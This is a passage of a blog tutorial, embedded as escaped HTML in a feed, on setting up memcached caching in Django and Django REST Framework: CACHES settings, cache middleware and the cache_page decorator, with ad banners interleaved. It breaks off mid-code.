      <content:encoded>&lt;p&gt;To use the cache in django, just follow three simple steps:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install a caching system, be it redis, memcached, etc.&lt;/li&gt;&#xA;&lt;li&gt;Set the CACHES variable to the &lt;em&gt;settings.py&lt;/em&gt; file of the project.&lt;/li&gt;&#xA;&lt;li&gt;Add the middleware necessary for django to return the cache before processing the view.&lt;/li&gt;&#xA;&lt;li&gt;Use the low-level cache to cache specific views or data (optional).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Implementing a caching system allows you to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;greatly improve the performance of an application made in Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-much-does-caching-improve-performance&#34;&gt;How much does caching improve performance?&lt;/h2&gt;&#xA;&lt;p&gt;The effect the cache will have depends on many factors. However, just to give you an idea, here I have a comparison of a query that fetches 1000 rows from a database of a model with no relationships to other models.&lt;/p&gt;&#xA;&lt;p&gt;As you can see the difference is almost 10 times the time.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/ComparacionCache1000filasDjango.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/ComparacionCache1000filasDjango.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparison of response time with cache and without cache for a django application&#34; width=&#34;922&#34; height=&#34;654&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re in a situation where &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;your application&amp;rsquo;s performance is critical&lt;/a&gt;&#xA;, cache is definitely one of the first steps that you have to make in order to improve your site&amp;rsquo;s speed.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installing-memcached-a-cache-backend-in-django&#34;&gt;Installing memcached, a cache backend in django&lt;/h2&gt;&#xA;&lt;p&gt;Caching in django requires memcached, redis or another caching backend method.&lt;/p&gt;&#xA;&lt;p&gt;Memcached is the fastest and most efficient method according to django developers, so we will use this one. Memcached, is memory based and is allocated a fixed amount of RAM that it can use, it is quite fast to implement and simple to use. It is also included in the repositories of many GNU/Linux distributions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install memcached&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Verify that the system is running with the systemctl command, update-rc, systemE or whatever your system process manager is.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl status memcached&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;● memcached.service - memcached daemon&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     Loaded: loaded &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/lib/systemd/system/memcached.service; enabled; vendor preset: enabled&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     Active: active &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;running&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; since Wed 2021-09-08 10:16:31 CDT; 5h 46min ago&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s pretty obvious, but I feel I should mention it: remember that &lt;strong&gt;memcached stores data in memory, it will be deleted when the system is shut down or rebooted&lt;/strong&gt;. Therefore you should make sure to use memcached only as a temporary storage and store content there that you wouldn&amp;rsquo;t mind losing or that you plan to dump later to a database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installing-cache-backend-bindings-in-django&#34;&gt;Installing cache backend bindings in Django&lt;/h2&gt;&#xA;&lt;p&gt;I will install the following dependencies for this tutorial:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;djangorestframework: for creating &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;django-debug-toolbar: to compare performance before and after caching.&lt;/li&gt;&#xA;&lt;li&gt;django-seed: to automatically create data in the database.&lt;/li&gt;&#xA;&lt;li&gt;pymemcache: to allow python to interact with memcached.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Some older tutorials &lt;strong&gt;use python-memcached to interact with memcached, however the use of this library is&lt;/strong&gt; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/cache/#memcached&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;discouraged&lt;/strong&gt; by django since version 3.2&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework django-debug-toolbar django django-seed pymemcache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we have the applications installed and configured we are going to start applying cache. We add the following lines to our configuration file.&lt;/p&gt;&#xA;&lt;p&gt;You can use django-seed to populate your database tables.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py seed nameOfYourApp --number&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-configure-cache-in-in-django&#34;&gt;How to configure cache in in django&lt;/h2&gt;&#xA;&lt;p&gt;To configure the behavior of the cache we will create a variable called CACHES, where we will specify the backend we want to use and its location. In this case it will be localhost, with port 11211; the default port for memcached.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;CACHES&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.PyMemcacheCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;CACHES has more configuration variables that I will list below:&lt;/p&gt;&#xA;&lt;h3 id=&#34;arguments-of-configuration-variable-caches&#34;&gt;Arguments of configuration variable CACHES&lt;/h3&gt;&#xA;&lt;p&gt;CACHES can receive a number of arguments to modify its behavior:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TIMEOUT: The time the cache lasts, &lt;em&gt;None&lt;/em&gt; so that it never expires, default value is 300 seconds.&lt;/li&gt;&#xA;&lt;li&gt;MAX_ENTRIES: The number of entries the cache stores, if the oldest cache is exceeded it will be deleted to store the newest cache, default value is 300.&lt;/li&gt;&#xA;&lt;li&gt;CULL_FREQUENCY: The proportion of entries to be deleted when MAX_ENTRIES is reached. If this value is equal to 2, half of the entries will be removed when MAX_ENTRIES is reached. If you set it to a value of 0 the entire cache will be removed when MAX_ENTRIES is reached. Default value is 3.&lt;/li&gt;&#xA;&lt;li&gt;KEY_PREFIX: A prefix added to the cache name, it is used to identify our cache. This is to avoid collisions with other applications that are using the cache, or simply to identify it.&lt;/li&gt;&#xA;&lt;li&gt;VERSION: The version with which we want to name our cache.&lt;/li&gt;&#xA;&lt;li&gt;KEY_FUNCTION: here we can pass a string that specifies the address to a function that sets the prefix, the version and the key with which the cache will be saved. For example: &amp;lsquo;cacheConfig.cacheNamegenerator&amp;rsquo;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.PyMemcacheCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;TIMEOUT&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;MAX_ENTRIES&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;put-on-cache-all-over-the-web-site&#34;&gt;Put on cache all over the web site&lt;/h2&gt;&#xA;&lt;p&gt;To cache the entire Django website, just add two middlewares:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;django.middleware.cache.UpdateCacheMiddleware&lt;/li&gt;&#xA;&lt;li&gt;django.middleware.cache.FetchFromCacheMiddleware&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Make sure that &lt;em&gt;django.middleware.cache.UpdateCacheMiddleware&lt;/em&gt; is the first middleware in your list and &lt;em&gt;django.middleware.cache.FetchFromCacheMiddleware&lt;/em&gt; is the last.&lt;/p&gt;&#xA;&lt;p&gt;In the same way &lt;em&gt;django.middleware.common.CommonMiddleware&lt;/em&gt; must be active.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;While these middlewares are active, Django will cache any page that receives GET and HEAD methods&lt;/strong&gt; and returns an HTTP status of 200.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.cache.UpdateCacheMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.cache.FetchFromCacheMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you examine a request you will see that the &lt;em&gt;Cache-Control&lt;/em&gt; header already specifies a value of &lt;em&gt;max-age=600&lt;/em&gt;, the default value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;i &lt;span style=&#34;color:#ff9f43&#34;&gt;127.0.0.1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; less&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;Control: &lt;span style=&#34;color:#ff5c57&#34;&gt;max&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;600&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If instead of using the terminal we enter the browser, we will see how the &lt;em&gt;django_debug_toolbar&lt;/em&gt; already shows us that the cache is being used.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/CacheDebugToolBar.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/CacheDebugToolBar.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django_debug_toolbar with cache and without cache, comparison&#34; width=&#34;424&#34; height=&#34;1022&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Look how in the cache column, we already have two calls.&lt;/p&gt;&#xA;&lt;p&gt;He also mentioned that Django&amp;rsquo;s per-site cache is not compatible with the &lt;em&gt;django-debug-toolbar&lt;/em&gt;, so you probably won&amp;rsquo;t see it reflected in the bar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cache-per-django-view&#34;&gt;Cache per django view&lt;/h2&gt;&#xA;&lt;p&gt;But what if you don&amp;rsquo;t want to cache the entire website? Most websites are a mix of dynamic pages and static pages. You probably only want to leave the static pages, or pages that change rarely, in cache and make sure that your user receives the dynamic pages with updated content, also you probably don&amp;rsquo;t want to cache pages that depend on user&amp;rsquo;s session. That means that only certain views should be cached.&lt;/p&gt;&#xA;&lt;p&gt;To cache the result of a view just use the &lt;em&gt;@cache_page&lt;/em&gt; decorator provided by django and pass the time you want django to cache, in seconds, for that view.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.utils.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; method_decorator&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; serializers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; viewsets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; ..models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .serializers &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelViewSet):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span 